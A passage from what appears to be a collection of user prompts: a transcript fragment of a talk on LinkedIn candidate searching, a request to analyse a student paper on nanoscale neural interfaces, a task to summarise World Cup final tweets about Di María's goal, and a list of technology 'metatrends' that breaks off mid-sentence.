and you look through 100 results you\'ve actually not looked at the other 500 and you might be asking will go a night I don\'t have a lot of time I\'m busy I carry a rec load of I don\'t know from 20 to 30 to 40 recs at a time if that sounds familiar the challenge is you now know that you\'re leaving the majority of people behind that you never look at I\'m going to talk to you a little bit later today times it gets people thinking too narrowly but what we\'re looking for here is a salesperson the lower left-hand corner is a top producer in sales the upper right-hand corner would be a substation engineer as an example and the bottom is actually I think just an interesting way of asking for an analyst a business analyst without actually looking for any exact phrases you could put that in the title field I call this maximum inclusion because you have to understand that for anything that you\'re looking for there\'s going to be more saying LinkedIn can you can you find me people that have cloud experience and LinkedIn if it could ask a question would say what does cloud experience look like and that\'s I would say well this this or statement basically means cloud and it\'s gonna run it and it\'s gonna find people no matter how they say it now granted if you were paying attention earlier you might realize yeah there\'s gonna be some people with cloud experience that don\'t say anything about cloud no matter how you might think they this happens after you run your search if you\'re not familiar with it you can\'t do it up front you run your search then you go to the results page and on the left hand rail you can start typing in things so what I started typing in was the word Java and I found all these groups so if you\'re looking at that you know you\'re getting close to a thousand people that are software engineers that don\'t mention Java that are in Java groups is it a hundred percent likely that all these people are Java within quotes on LinkedIn and you just have to start thinking well if I was looking for device design professional what are the types of things that that person might put on their profile again assuming that they\'re gonna have a profile with a bunch of words on it so we do a couple phrases here medical device design designing medical devices design medical devices now that\'s just my first search I\'m going to apply my technique of iterative search after this because I\'m gonna scan probably I\'ll be honest with and that\'s why it\'s like talking about dark matter that\'s like I\'m telling you guys there\'s millions of people that you\'re excluding how would you even know it because LinkedIn won\'t say hey here\'s 400 people but you missed 1200 it doesn\'t tell you that you have to think first and say my search found some but I know I probably excluded some so how can I go back and refine my search is to start to increasingly shed light on the people that my first search is eliminated you have to be aware that if other profile does that mean they\'re bad these are the things that you excluded because you run searches with too many keywords I always say go keyword rich first and then go keyword poor second my point is most people don\'t even run searches to be able to pull this person up that is the totality of that person\'s profile how many times do you think someone reaches out to that person on LinkedIn very little if at all it\'s like hidden treasure I love it some other interesting things so you have to think strategically excluded EMC so I came up with Bret Walker from the profile on the left and I placed him at EMC and that was a long time ago and I double-checked because whenever I use this guy\'s an example I\'m actually hoping that he never leaves EMC because you can see he was a pretty good placement right he started there in April 2006 and he\'s been there ever since and I love this story because it\'s all from a search for someone who didn\'t even say the primary skill that was required and what was function right then put it in word use my little trick snapped it into a giant war statement it takes a couple clicks done and you run that search and that pulls up 4.3 million people so that\'s not bad that\'s actually 67% of the women in the UK on LinkedIn so two-thirds right but because I\'m here in the UK and we don\'t want to just use popular names in the US this probably took me 30 minutes of research is what I did next so what I did is I went to there was no single webs so the United States it was easy it was target them elsewhere to reach out to them to try to bring them back does anybody look for expats a handful of people I wanted to put there on purpose because I was told that that would be something of help but again it\'s not about me giving you the answer it\'s about you me giving you the spark of the notion of what would be on someone\'s profile of someone who lived in your home country that it moved abroad targeting them and abroad groups are also a good way to find them because there\'s a lot of people that join local people with text poor LinkedIn profiles and you have to be able to create queries to find them you\'re gonna have to use what I call strategic exclusion which is excluding the most common terms talent mapping if you ever run a search like this in a city and it\'s a relatively basic search and basic searches aren\'t bad they\'re just basic so I\'m looking for a project manager with finance right super basic search but I\'m actually pulling up almost 4,000 people now no one\'s gonna look at 4,000 tag them as so many different things you can do that will aid your ability to retrieve them later very precisely so look into the custom fields I don\'t know if anybody will actually get this humor I won\'t explain it so if somebody actually gets this just approached me after the session so I\'m going to call this Drake style sourcing so instead of starting from the top I\'m gonna start from the bottom of the search results so if I got nine hundred and fifty nine Mechanical Engineers in a particular good people you saw some of the names of the people that came up with the minimalist profiles the first thing I would do is roll my dice on companies so if they work for a reputable company that other people have alrea"' -'Here Damian! This is another example of my technical writing, please analyze the style, science, and rhetoric that I used. Really get to know my writing style with this one:\n\n"\nThe piezoelectric effect is the ability of materials to generate electricity in response to mechanical stress. Likewise, piezoelectric materials can receive electricity and convert it into mechanical stress. It has many applications, such as power sources, sensors, and motors. \n There have been many studies in vitro that show the potential that piezoelectric nFNIs could potentially be stable. Boron nitride nanotubes were used to stimulate PC-12, C2C12 cells, and SH-SY5Y cells to see if neurite growth would be expedited with electrical stimulation, which was found to be true[7.]. In another study, barium titanate was electrostatically attached to SH-SY5Y and induced calcium influxes when stimulated by ultrasound. Both of the nanoparticles were dispersed into the media, and they were rapidly internalized by the cells. As stated previously for quantum dots, the internalization of nFNIs is highly non-ideal due to the impossibility of retrieval. Likewise, the amount of energy produced by the vibrating nano piezo crystals is still unknown, meaning it may not be powerful enough to generate an action potential. \n Another relatively unknown aspect is the biocompatibility of the different piezocrystals. Boron nitride has been shown in vitro to not exhibit any toxicity in human kidney cells [29.], and barium titanate showed minimal toxicity in mouse osteoblasts 7F2 cells as it caused a nonsignificant inflammatory response[30.]. \nDesigning a theoretical system\n In this section of the paper, a theoretical brain-computer interface will be designed based on the current state of nFNIs. Ideally, the system would be capable of targeting a specific region of the brain in a safe, practical manner that would allow for high-resolution, bidirectional communication. The system would be designed for humans. Therefore, it would need to be made from materials approved for human use or have been proven to show no toxicity to human cells. Ideally, this system’s operation would not cause a significant temperature increase. The mean temperature of the brain is 38.4°C[31.], and at 40°C heatstrokes can occur[32.]. Therefore, the temperature should not be raised by 1°C to ensure patient safety. Lastly, the long-term viability of the neural interfaces used will be used to establish whether or not the system would be viable for long-term placement, and methods of complete retrieval will be investigated. \n The three types of signals viable for deep stimulation of human neurons are light, magnetic fields, and ultrasound. There seems to exist a tradeoff between spatial resolution and penetration depth. NIR light has a relatively low penetration depth of 4.4mm, but a spatial resolution of 0.05mm. Conversely, magnetic fields have a relatively good penetration depth of 5 cm. Still, they also have a low spatial resolution of 1 cm. Lastly, microwaves have a penetration depth of 5cm and a spatial resolution of 4mm. However, nFNIs being bound directly to target neurons will allow for precise stimulation regardless of spatial resolution. \n\nA fundamental problem with the three types of stimulation is that the signal depth is not deep enough to stimulate the brain’s deepest recesses from the surface. The average human brain has dimensions of 167mmx140mmx93mm[33.].\n \nEquation 1: Volume of an Ellipsoid where a equals the horizontal semi-axis(length), b equals the vertical semi-axis(height), and c equals the original axis (depth)\nUnder the assumption that the average brain’s area can be represented by an ellipsoid, the area affected by the primary signals can be calculated. Using the equation, the average volume of the human brain is approximately 1138 cm3. \nPrimary Energy Type\nThe volume of the brain affected in cm3\nPercentage of the Brain affected\nNIR\n223\n20.0%\nUltrasound\n641\n56.3%\nMagnetic\n901\n79.2%\nMicrowave\n901\n79.2%\n\nTable 4: Calculation of the Percentage of the brain affected by the different primary signals.\n\nIn the above table, the maximum penetration depth was utilized to approximate how much of the brain each primary signal could affect. Using equation 1, the penetration depth was subtracted from the radius of each dimension resulting in an ellipsoid of reduced size. The resulting ellipsoid represented the area unaffected by the signal, so each smaller ellipsoid was subtracted from the average volume of the human brain, 1138 cm3 to obtain the area affected by the signal. For the system to be a suitable advancement in the functional neural interfaces, nFNIs would need to be capable of modulation at any depth. Therefore, a system would need to account for the relatively low signal depth and unique properties of nFNIs. \nMany inventions are biomimetic in nature. To solve the dilemma of insufficient signal depth, I propose looking to neurons to provide an answer. Neurons can carry electrical signals across the body despite their relatively low power by using axons that are activated once the neuron is activated. Similarly, when stimulated, nFNIs could produce a secondary signal in their local area, potentially activating ion channels. However, instead of activating ion channels, the nFNIs could activate other nFNIs that can propagate the signal deeper into the brain. These long chains could essentially act as self-constructing nanowires that travel directly to the target neuron. These nanowires could work in networks or independently, but they could allow for deep ultrasonic, magnetic, or even optical stimulation. Likewise, recording nanowires could propagate signals received from neurons to relay activity to the surface of the brain, where they can be readily recorded. Ideally, the recording nanowires would be different nFNIs than the stimulating nFNIs to avoid noise or false positive signals. Likewise, the relay nFNIs would also be distinct from the stimulating nFNIs to avoid unintentional stimulation of nontargeted neurons while propagating the signal. \n\nFigure 4: The above figure depicts the proposed method for using scaffolding proteins to make nanowires. Each scaffolding protein would have three magnetic nanoparticles (one on the top, middle, and bottom). The magnetic nanoparticles would propagate the magnetic signal until it reached the magnetoelectric nanotransducer (figure on the left). The figure on the right depicts a similar system. However, the last scaffolding protein has a MMN attached to the end, which would be used to stimulate the piezoelectric crystal.\n Of the four nFNIs previously described, only three will be considered for the system. MMNs, MENS, and piezocrystals all exhibited minimal to no cytotoxicity, but QDs have shown to be highly toxic if the coating dissolves. While it may have interesting properties, it should not be used in humans for a practical system. Therefore with the restriction that the system would require different nFNIs for stimulation, relay, and recording, MMNs, MENs, and piezocrystals will be evaluated for their ability for each role. \nPiezocrystals and MENs would most likely serve as the best stimulating nFNI. Piezocrystals could be a good option due to the universality of electricity in modulating/activating neurons. MMNs would not be as good of a candidate because mechanosensitive ion channels are not as prevalent as voltage-gated ion channels. Electricity offers a reliable method of altering excitability throughout various neurons. For MENs to be a stimulating nFNI, a nanowire composed of magnetic nanoparticles would need to be used as the relay signal to propagate the signal to the neuron. For piezocrystals to be an ideal stimulating nFNI, MMNs could be used as the relay nFNI because they could mechanically stress the piezocrystal resulting in an electric charge. However, for the attached MMN to receive the signal, a nanowire made of nanomagnets would also need to be attached to the MMN. Experimentation would need to be conducted to determine which method would be superior as both show potential for the modulation of neurons.\nFor the recording nFNI, neuronal electrical activity will need to be detected and propagated to the brain’s surface for simplified measurement. Therefore, piezo crystals or MENs would be the best candidates. Ideally, the recording nanowires would differ in signal propagation methods than the stimulating nanowires, but it does not mean the system would be incapable of functioning as intended. The problem can be solved by ensuring the nanowire has some form of insulation to hinder the spread of the signal. The insulation can be in the form of a substrate or binding protein, as discussed later. MENs will most likely prove to be the most efficient recording nFNI. It can convert the received electrical input from the neuron directly into a magnetic field that can be propagated through the wire. Near the brain’s surface, the tail-end of the wire would be topped with a corresponding MEN to convert the signal to electricity for measurement. \nWhile most of the current studies involving nFNIs occurring in vitro show stable neural interfaces, the neural interfaces may not necessarily be stable in vivo. With this in mind, the nanowire would need to be anchored to the ion channels of the target neuron and the skull for efficient signal propagation. Having the nFNIs bound to a protein would reduce the likelihood of internalization of the individual particle. Likewise, if the particles are in the form of nanowires, it would significantly reduce the chance of internalization. Ideally, the protein would be a durable, biocompatible material capable of binding to the respective nFNI, isolating the signal produced by the nFNI, and binding to other proteins to form the nanowires. Due to the specificity of the requirements needed for such a protein, there has not been any evidence in the literature of such a protein. Scaffolding proteins show an interesting starting point for investigation. Scaffolding proteins typically help to relay messages between the cell membrane and the nucleus[34.]. If a scaffolding protein could be designed to hold the magnetic nanoparticles as shown in figure 4, it would allow for testing of the proposed nano interface. \nFuture Perspectives\n Nano functional neural interfaces is a rapidly developing field with many vital insights being found daily. In this paper, QDs, MENs, MMNs, and piezocrystals were investigated for their biocompatibility, feasibility, and potential for use in a theoretical brain-computer interface. nFNIs show great potential in overcoming the insensibility and indistinguishability problems currently held by the field as a whole. However, nFNIs are still limited by the penetration depth and spatial resolution of the stimulating signals. For the field to progress, noninvasive stimulation methods would need to advance, allowing for higher spatial resolution and greater depth. In this paper, a potential solution was proposed to the problem in the form of protein chains containing nFNIs to relay the signal bidirectionally. The proposed solution would require the discovery of a protein capable of handling the design requirements needed to bind to the nFNIs, insulate the signal, and form durable chains that will need to be investigated further. If these advancements are made, the proposed solution could potentially help to push the understanding of the brain to new levels.\n"' -"By showing the time first with a semicolon, describe as reporting a current event in a few 4 lines, what is happening right now using the following tweets :\n\nsourceText Time\nDI MARIA ???????????????? what an amazing build up for that goal 2-0 Argentina 15:36:07.0000000\n2-0 Argentina.''ANGEL DI MARIA DOUBLES THE LEAD!!! ANOTHER GOAL IN A FINAL FOR HIM!!! https://t.co/m2YWSEnYMS 15:36:19.0000000\nGr8 goal #messi & Di Maria off injury is the difference! https://t.co/ScHjETYn4K 15:34:47.0000000\nNice goal by Di Maria #FIFAWorldCup #ArgentinaVsFrance 15:36:59.0000000\nDI MARIA!!!!!!!!! ARGENTINA SCORE A SECOND!!!!!!!! WAS THAT GOAL RIGGED TOO OR WILL YALL STOP CRYING?? #FIFAWorldCup #ARG #FRA 15:36:23.0000000\nDI MARIAAAAAAAA'WHAT A TEAM GOAL'WHAT ARE WE WITNESSING HERE!!!!!'#ArgentinaVsFrance 15:36:16.0000000\nBLOODY HELL DI MARIA BASICALLY GOAL EVERY FINAL!! HOLY HELL #ArgentinaVsFrance #WorldcupQatar2022 15:36:40.0000000\nGOAL Argentina 2-0 France Di Maria, wonderful team goal #ARGFRA #FIFAWorldCup 15:36:06.0000000\n@remnantvault That goal Di Mar?a just scored proves otherwise. We don't need charity. France has been busy trying to prevent us from scoring rather than trying to score themselves too. 15:36:52.0000000\nTop counter attack & Di Maria goal ??''#ArgentinaVsFrance https://t.co/sVzLCZrbqb 15:36:48.0000000\nDi Maria SCOOOOOOOOOORESSSS''2-0''Beautiful goal.''#WorldCupFinal 15:36:36.0000000\nWhat a goal.. Messi started the move and Di Maria did the ting!!!!! ''VAMOS ARGENTINA!!! 15:36:42.0000000\nSecond goal by Di Maria. Herhhh. Defending champions paaaaaaaaaa and they're suffering like this? ??'#ArgentinaVsFrance 15:36:36.0000000\nGOAL!''Angel di Maria makes it 2 - 0 for Argentina.''#FIFAWorldCup 15:36:34.0000000\nAngel Fucking Di Maria????????????'Oh my God'This is absolutely beautiful '#ArgentinaVsFrance #FIFAWorldCup 'Goal of the tournament in terms of team work 15:36:28.0000000\nDi Mariaaaaaaaa!!!!!!!!!! What a goal ! #FIFAWorldCup #ArgentinaVsFrance 15:36:59.0000000\nDI MARIA Scores the second goal for Argentina 15:36:54.0000000\nBrilliant Argentina goal that 2-0 Di Maria''One touch. Macalister running the game 15:36:30.0000000\nWhat a lovely goal from Argentina and, they are going to steamroller France at this rate. ''Di Maria has had a tremendous first half and should get the Man of the Match award. 15:36:53.0000000\nWhat a beautiful GOAL???? from Di Maria. Argentina has been on a serious attack and they’re capitalising . #KusazobaMnandi 15:36:59.0000000\nDi Maria, he's gone to ground...he's got a penalty! Dembele the man guilty as charged. 'And Messi, A goal for ever more..perhaps a goal of his infinity, as it’s predestined'- Peter Drury'#ArgentinaVsFrance #FIFAWorldCup #PeterDrury 15:35:29.0000000\nDi Mariaaaaaa nets #ARG 2nd goal! ''#FIFAWorldCup #ARGFRA 15:36:19.0000000\nWhat a Goal De Maria ?????????'2-0 ??'#Arg'#WorldCupFinal 15:36:34.0000000\n2-0 ARGENTINA!!!!! DI MARIA!!!!! WONDERFUL TEAM GOAL!!!! 15:36:02.0000000\nGoal Di Maria! What a counter attack. Argentina leads France 2-0. #FIFAWorldCup 15:36:23.0000000\nMagnificent goal Argentina. Sweeping and brilliant counter attack finished by Di Maria. Assist for Brighton's Mac Allister 15:36:50.0000000\nHe’s having a worldie Di Maria!''What a goal''#arg #fra #ArgentinaVsFrance #WorldCupFinal 15:36:47.0000000\nFantastic goal by Argentina, Di Maria very cool finish! #FIFAWorldCupFinal #ArgentinaVsFrance 15:36:59.0000000\nDi Maria scores the 2nd goal for Argentina.???? France have not turned up in this first half at all.???? #Qatar2022 #ARGFRA 15:36:50.0000000\nDi Maria! What a goal from Argentina ????????''Game over. 15:36:13.0000000\nWHAT A GOAL!!!!''DI MARIA SCORESSSSS!!!!!''ARGENTINA 2 0 FRANCE '35 15:36:29.0000000\nDi Maria with a beautiful goal and Argentins double their lead. France is not themselves today. #ARGFRA 15:36:22.0000000\nArgentina 2-0 Now???? because of a goal by Di Maria ''#WorldCupFinal #ArgentinaVsFrance 15:36:55.0000000\nWhat a goal from Argentina, cut open France like a hot knife through butter. Messi, Di Maria and Mac Allister running the show here. Thoroughly deserved of this World Cup. 15:36:54.0000000\nAbsolutely Superb goal from Argentina great finish from Di Maria ???? 15:36:52.0000000\nGoal for Di Maria. 2-0 #ArgentinaVsFrance #FIFAWorldCup 15:36:36.0000000\nDi Maria scores the second goal for Argentina. 15:36:48.0000000\n2-0 Argentina.''ANGEL DI MARIA DOUBLES THE LEAD!!! ANOTHER GOAL IN A FINAL FOR HIM!!! https://t.co/AFS5UAJ501 15:36:49.0000000\nDi Mariaaaaaa, what a goal!! '#WorldCupFinal 15:36:50.0000000\nArgentina properly blowing France away, Angel di Maria has been the best player on the pitch by miles and he’s deservedly got a goal to show for it. 2-0 Argentina 15:36:59.0000000\n??ARGENTINA DOUBLE THEIR LEAD??''GOAL: Di Maria 35‘ ??????'2-0 15:35:51.0000000\nDI MARIA! GOAL! FRANCE IS COOKED! 15:36:02.0000000\nWhat a goal boom 2-0 di maria #ArgentinaVsFrance 15:36:50.0000000\nArgentina 2-0. Di Maria. A magnificent goal on the break. 15:35:45.0000000\nThat is a beautiful goal!!''Di Maria with the finish and they’ve been all over France 15:36:32.0000000\nDi maria!!!Maria!!!! What a goal the French in the mud!!! #ARGFRA #FIFAWorldCupQatar2022 #FIFAWorldCup 15:36:25.0000000\nWow! What an effing goal Argentina. Di Maria playing like a young man again. Just amazing. 15:36:48.0000000\nLionel Messi assist! Di Maria’s goal! Football heritage! 15:36:53.0000000\nWhat a counter attacking goal. ''Di Maria...#ArgentinaVsFrance 15:36:44.0000000\nDi Maria what a goal that was. Argentina have blown France away here. 15:36:21.0000000\nDi Maria what a goal .. pure counter attack #FIFAWorldCup #FIFAWorldCupFinal 15:36:34.0000000\n#ARGFRA DI MARIAAAAAAAAAAAAAAAAAAAAAAA WHAT A FUCKING GOAL THAT WAS 15:36:18.0000000\nSecond goal for Argentina ''Di Maria https://t.co/RVfNhamMG7 15:36:32.0000000\nWell that DI MARIA goal is much more worthy. VAMOS ARGENTINA 15:36:43.0000000\nGOLOOOOO ANGEL DI MARIAAAAA ??????????????????????????'Goal of the tournament!!'#WorldCupFinal #FIFAWorldCup '#Arg 15:36:43.0000000\nDI MARIA...WHAT A GOAL! What a pass by Mac Allister and what a flick by MESSI! INSANE! VAMOS ARGENTINA! 15:36:44.0000000\n? GOAL: Argentina 2 - 0 France. ANGEL DI MARIA FINISHES OFF AN UNBELIEVABLE MOVE FROM ARGENTINA! WHAT A GOAL!''#FRA | #FRA ''#ad @PepsiGlobal https://t.co/f1YjbdoCEc 15:36:14.0000000\nAnother goal for Argentina... De Maria ????''#ArgentinaVsFrance #WorldCup #FIFAWorldCup #Messi?? #Mbappe 15:36:57.0000000\nBeautiful football... Argentina mesmerizing France what a goal from Di Maria... What a touch 15:36:52.0000000\nWhat a goal on the counter that is! Argentina have been so good here! Brilliant from Mac Allister and what a finish from Di Maria! ?? #ARGFRA #FIFAWorldCup 15:36:56.0000000\n2nd goal for Argentina ???????????????????'Di Maria you beauty ???????? 15:36:22.0000000\nWoooooo Argentina second goal is ?????? great finish by Di Maria 15:36:57.0000000\n?? #WorldCup | #Qatar2022''? 36' | GOAL!!! Angel Di Maria doubles Argentina's lead!''#ARG 2-0 #FRA ''#Selecci?nMayor #FiersdetreBleus #ARGFRA https://t.co/M64jzboGG8 15:36:06.0000000\nWe want another one just like the other one!!!! Beautiful goal!!!! Di Mar?a!!! #ArgentinaVsFrance #FIFAWorldCupFinal ???????????? 15:36:48.0000000\nHe has been the best player on the pitch and he gets another finals goal''Di Maria ''#ArgentinaVsFrance #WorldCupFinal 15:36:38.0000000\nDI MARIA WHAT A GOAL ( I still fucking hate Argentina 15:36:23.0000000\nI knew Di Maria was definitely going to give Argentina a goal!?? 15:36:31.0000000\nBrilliant goal from Argentina. Di Maria. 2-0 Argentina. 15:36:53.0000000\nWhinge all you want about the penalty. There's no denying that Di Maria's goal was ??????''#ArgentinaVsFrance #WorldCup #FIFAWorldCupFinal https://t.co/2DGSE5mCM0 15:36:31.0000000\nArgentina is dominating!''Di Maria Goal!''Argentina 2 - 0 France'#ArgentinaVsFrance 15:36:52.0000000\nDi Maria with the second goal'Argentina 2 - 0 France #FRAARG #FIFAWorldCupFinal 15:36:24.0000000\nGoal for Argentina ??'Argentina 2:0 France ????'??36’ Di Maria ''#EIBQATAR2022 https://t.co/kNI4ODuxg6 15:36:39.0000000\nGoal number 2 for Argentina!!!''Di Maria ??????. https://t.co/aJQG3SKGZ1 15:36:58.0000000\nDi maria what a goal, what a counter #FIFAWorldCup #ArgentinaVsFrance 15:36:59.0000000\nDi Maria Goal! But it's FIFA that scored as some will say ??????'#Messi #ArgentinaVsFrance #FIFAWorldCup 15:36:49.0000000\nDi Maria! What a glorious goal! ???? has got this final! #ArgentinaVsFrance 15:36:28.0000000\nWhat a counter and goal. Di Maria make it 2-0 wow! #WorldCupFinal 15:36:32.0000000\nWhat a Goal Di Maria'#FIFAWorldCupFinal '#ArgentinaVsFrance 15:36:41.0000000\nAlmost my favourite D Maria....what a Goal...#FIFAWorldCup #ArgentinaVsFrance #WorldCup 15:36:35.0000000\nDi Maria deserves this goal. Excellent work today. #ArgentinaVsFrance #WorldCup #FIFAWorldCup 15:36:42.0000000\nDi Maria ''2-0 ''Beautiful goal from Argentina! 15:35:59.0000000\nGOOOOOOOAAAL!!! ''Di Maria doubles the lead for Argentina. What a beautiful team goal. ''Argentina ???? 2???0?? France ???? ''#FifaWorldCup 15:36:50.0000000\nThat was a just goal! Di Maria is really good right now #ArgentinaVsFrance #FIFAWorldCup 15:36:26.0000000\nFinally a nice open play goal from Argentina as opposed to the spot special . Di Maria been the best player thus far today 15:36:42.0000000\nGoal Di Maria!!!! Argentina up 2-0 and France is looking sluggish on offense 15:36:55.0000000\nBrilliant goal, Di Maria is that guy for Argentina 15:36:25.0000000\n36’ GOAL! DI MARIA ON THE COUNTER ATTACK! #FIFAWorldCup''Argentina 2-0 France 15:36:00.0000000\nGOAL 2-0 Argentina! a counter-attack at speed and Di Maria finishes things off. #ARG #FRA #FIFAWorldCup 15:35:51.0000000\nDi Maria hands Argentina another goal, what a beautiful square play. Text book execution and they punish France. 15:36:56.0000000\nGOAL!!!''A lightning break and Angel Di Maria has Argentina two goals up on 35 minutes!''#ARG 2-0 #FRA ''#FIFAWorldCup | #Qatar2022''https://t.co/UmozTF3WiK 15:36:02.0000000\n@sportv All the talk of Messi but do Maria makes this Argentina team and attack so much better and he been the best player so far and deserved that goal 15:36:17.0000000\nArgentina looking like they want it more. Great goal Di Maria 15:36:11.0000000\n2-0. Di Maria. What a goal! Absolutely dominating #FRA #ArgentinaVsFrance #FIFAWorldCup #WorldCup #ARG 15:36:40.0000000\nWhat a goal !!!!'Argentina 'Di Maria!!!!! 15:36:30.0000000\nDi Maria deserves a goal.'Brilliant! #ArgentinaVsFrance 15:36:44.0000000\nWow what a goal. 2-0, Di Maria and game over imo cos France are shite so far. Need a response before half time otherwise its gone. #ArgentinaVsFrance #FIFAWorldCupFinal 15:36:36.0000000\nGame over already? Superb goal by Di Maria and Argentina! #ARGFRA #FIFAWorldCupFinal 15:35:58.0000000\ntotally deserved, Argentina competing dominating. Di Maria is playing so good as well so nice he got the goal '#ARGFRA #FIFAWorldCup 15:36:51.0000000\nDo Maria!!!!! Goal!!!!!! Argentina!!!! 15:36:29.0000000\nGuess that counter attack and goal by Di Maria was rigged too?? Lol'#WorldCupFinal #ArgentinaVsFrance 15:36:21.0000000" -'Among the TOP 20 METATRENDS & MOONSHOTS. I am giving further description for each trend for you consider. description for trends 11-20 is here below. \n11. Emergence of Web3/Metaverse (AI + VR/AR + Blockchain)\n \nCitibank estimates that the metaverse could be worth $13 trillion by 2030 and have up to 5 billion users. While Web2 allowed us to transfer data in the form of documents, photos and videos, Web3 will emerge as the internet of value, built on blockchain, NFTs, DAOs, and the metaverse allowing us to transmit ownership. The metaverse is a social and ownership layer on the internet, providing self-sovereign identity, connecting people, places, and things. It provides guaranteed authenticity and chain of title (ownership) across time and space via blockchain. Web3/ Metaverse is powered by a combination of VR/AR, 5G networks, blockchain, and AI. It will transform how we live our everyday lives, impacting every industry from retail and advertising, to education and entertainment. This decade: “Artists and storytellers will be to Web3 what software engineers were to Web2.”\n \n12. High-Resolution VR Will Reinvent Commerce & Collaboration\n \nHigh resolution, low-weight VR headsets in combination with high-bandwidth connec- tivity and AI generated imagery will allow anyone to shop for everything from cloth- ing to real estate from the convenience of their living room in a fun and highly effi- cient manner. Need a new outfit? Your AI knows your detailed body measurements and can whip-up a fashion show featuring multiple copies of your avatar wearing the latest 20 designs on a runway. Want tomsee how your furniture might look inside a house you’re viewing online? No problem, your AI can show you, and give you a tour.\nPerhaps more important than commerce is the impact these technologies will have on the future of collaboration and work. While functional, such first-generation collaboration technologies completely lacked the social elements of the traditional workplace, making them less than adequate. Driven by this innate human need, a new generation of virtual and fully-immersive collaboration environments will arrive mid-decade following the release of Apple’s AR/VR headset and the next generation META Oculus gear.\n \nEarly versions of this virtual group workplace will enable you to choose youravatar and surrounding, interact with friends, co-workers and AI-bots. This Metatrend is en- abled through the convergence of VR, machine learning, and high-bandwidth networks.\n \n \n13. CRISPR/Gene Therapies\n \nCRISPR is becoming a potent gene-editing tool capable of correcting gene-mediated age-related disease, thereby ameliorating symptoms and/or ‘curing’ diseases. CRISPR has the potential to address cancer, neuro-degenerative and inflammatory diseases. CRISPR and other gene therapies also have the potential to treat or cure a vast range of infectious diseases ranging from AIDS and Ebola. Finally, and perhaps most profound, as gene-editing technologies continue to increase both their precision and ease of use, they will allow families to treat and ultimately cure hundreds of inheritable genetic diseases ranging from hemophilia and sickle-cell anemia to transthyretin amyloidosis (a fatal liver disease) and Huntington’s disease. CRISPR also holds vast potential to enable the de-extinction of lost species. Founded by Ben Lamm and George Church, PhD, Colossal Biosciences is using CRISPR \n\n \ntechnology to bring back the woolly mammoth and other species. This Metatrend is enabled through the convergence of various biotechnologies (CRISPR, Gene Therapy), genome sequencing, and AI.\n \n14. Increased Human Healthspan\n \nA dozen game-changing biotech and pharmaceutical solutions (currently in Phase 1, 2, or 3 clinical trials) will reach consumers this decade, adding an additional 10+ years to the human healthspan. Aging will increasingly be categorized as a disease, thereby driving increased research towards stopping and/or reversing ageing with a goal of adding 30+ healthy years in the decade that follows. Various technologies will be developed to address the 9 hallmarks of aging.\n \nCompanies such as Vaxxinity (combating heart disease and strokes with a PCSK9 vaccine), Celularity (using placenta derived stem-cell replenishment), Immunis (delivering immune system pre-cursors and growth factors), Elevian (producing GDF-11) and a multitude of other entrepreneurial efforts. Gene therapy will be used to edit or replace defective genes as a way to correct for genetic disorders. Cell therapy (the addition of autologous and allogeneic stem cells) will be used to replace or augment a patient’s stem cells population. A combination of Senolytic medicines, natural killer cells and vaccines will be used eliminate senescent ‘zombie’ cells which cause inflammation.\n \nCellular reprogramming using a combination of “Yamanaka factors” will be used to reverse epigenetics of cells and thereby their biologic age. Technologies such as wnt pathway modifiers, endo-vaccines, and supplementation of NMN/ NAD+ are among other treatments that wil impact healthspan. This Metatrend is driven by the convergence of genome sequencing, CRISPR technologies, AI, quantum computing, and cellular medicines.\n15. Demonetized, Democratized & Preventative Healthcare\n \nThis re-invention is illustrated by two specific trends: First, the transition of healthcare from the hospital and doctor’s office into the home. Biometric sensors on our bodies (wearables), in our bodies (implantables and consumables) and in our environment (home and office) will feed continuous data to our medical-AIs, and through them to our physicians. Such continuous monitoring will enable medicine to transition from reactive, to preventative, allowing disease to be detected at its earliest stages. The second trend involves increased use of AI as our primary diagnostician and health coach enabling medicine to be further democratized and demonetized. In the following decade, increasing capabilities of robotics, enabled by AI, will allow for robotic surgery and democratized and demonetized point-of-care treatment.\n \n \n16. Globally-Abundant, Cheap Renewable Energy\n \nContinued advances in solar, wind, geothermal, hydroelectric, and fusion power, along with localized grids, will continue to drive humanity towards cheap, abundant, and ubiquitous renewable energy. The price per kilowatt-hour will continue to drop at the same time that energy storage drops below 3-cents/ kilowatt-hour. The result will be the continued displacement of fossil fuels globally. The world’s poorest countries are also the world’s sunniest countries, accordingly driving humanity towards an age of energy abundance.\n17. Increased Focus on Sustainability & Carbon\n \nAn increase in global environmental awareness and concerns over global warming will drive companies to focus on sustainability both from a necessity and from a marketing point of view. Breakthroughs in material sciences and AI will allow companies to drive improvements in carbon-capture and recycling waste of all type. A wide range of new technologies, coupled with policy changes and economic incentives, will move humanity towards gigaton carbon capture. All industries from computing to food production will feel increasing pressure to develop low-carbon-footprint alternatives to their current methodologies and infrastructure. This Metatrend is enabled through the convergence of material sciences, AI, and broadband networks.\n \n18. Cellular Agriculture & Vertical Farming\n \nThis next decade we will witness the birth of the most ethical, nutritious, and environmentally sustainable protein production system devised by humankind. Referred to as Stem-cell based meat, cellular agriculture or Cell-based meat, the cost of producing a single molecule of cell-based beef burger has fallen from $1M/kg in 2000 to about $100/kg in 2020.\nThis cost is expected to fall below $10/kg by 2025, thus creating a mass-market cost-equivalent way of replacing beef at minimal environmental cost and reducing animal slaughter. Similar price reduction is being seen in Stemcell-based chicken and fish. This technology will allow the production of beef, chicken, and fish anywhere, on-demand, and will be more nutritious and environmentally friendly than traditional live-stock options. Vertical farms offer an innovative and flexible solution to global agricultural challenges such as volatility due to climate changes, droughts and floods. Studies show that vertical farming is not only more nutritious, but can produce up to four food-production cycles of food per year, something that is impossible in traditional agriculture. It can also reduce the transport costs of food because it is produced in close proximity to the point of consumption.\nFinally, vertical farming will also reduce the need for pesticides.This Metatrend is enabled through the convergence of biotechnology, material sciences, machine learning and AgTech.\n \n \n19. Onshoring Manufacturing & Offshoring Labor\n \nThe disruption in supply chains and the labor market caused by the Covid-19 pandemic drove a global shift towards on-shoring manufacturing. The use of robotics, 3D printing and advanced automation has allowed western companies to “on-shore” production at a reasonable cost, shifting away from lower-cost Asian production facilities. \nThis shift has allowed companies to concurrently “own their supply chain” and reduce shipping costs and timelines. At the same time, collaboration technologies such as Zoom and Slack are allowing companies to off-shore their talent, expanding access to highly sought-after experts globally \n\n20. Increasing Global Abundance\n \nWhile we will witness some temporary ups and downs in the wake of future recessions, the overall trend will likely continue upwards. \nCapital abundance leads to the funding and testing of “crazy” entrepreneurial ideas, which in turn accelerates innovation. In the decade ahead, the number of individuals in extreme poverty will continue to drop, as the middle-income population continues to rise, continuing a metatrend that has existed for much of the past century. \nEveryday goods and 